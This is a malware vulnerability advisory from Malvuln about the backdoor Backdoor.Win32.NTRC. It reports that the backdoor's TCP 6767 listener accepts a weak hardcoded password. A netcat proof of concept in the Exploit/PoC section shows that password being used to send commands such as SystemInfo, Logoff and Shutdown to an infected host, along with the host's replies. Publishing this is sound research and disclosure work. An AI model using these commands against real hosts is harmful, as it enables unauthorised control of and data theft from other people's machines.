Backdoor.Win32.NTRC / Weak Hardcoded Credentials

2022.10.02
us malvuln (US) us
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/273fd3f33279cc9c0378a49cf63d7a06.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NTRC Vulnerability: Weak Hardcoded Credentials Family: NTRC Type: PE32 MD5: 273fd3f33279cc9c0378a49cf63d7a06 Vuln ID: MVID-2022-0646 Disclosure: 10/02/2022 Description: The malware listens on TCP port 6767. Authentication is required, however the password "Please change me" is weak and hardcoded in cleartext at offset 0045E520. Commands get executed by sending the password delimited by a semicolon ";" E.g. Please change me;SystemInfo;. The command SendScreen dumps screenshot as .BMF file, to get the next part of the file issue SendScreenNextPart. 0045E520 dd 16 ; Len 0045E520 db 'Please change me',0 ; Text 0045E539 align 4 Exploit/PoC: C:\>nc64.exe x.x.x.x 6767 SendScreen SendScreenNextPart Stop Please change me;Shutdown; Error;Can not shutdown the server. Please contact the author at borgo@bigfoot.com Please change me;Logoff; Please change me;SystemInfo; SystemInfo;6.2;9200;Windows NT;Victim;DESKTOP-2C3IQHO;C:\WINDOWS;1;Intel;Intel Pentium Please change me;SystemInfo2; ;;;;;0;0;0;0;0;;;;9 Mb;1480.29 Mb;27 %;2687.49 Mb;1607.21 Mb;40 %;2047.88 Mb;1893.88 Mb;D Please change me;Logoff; FolderMonitorChanged Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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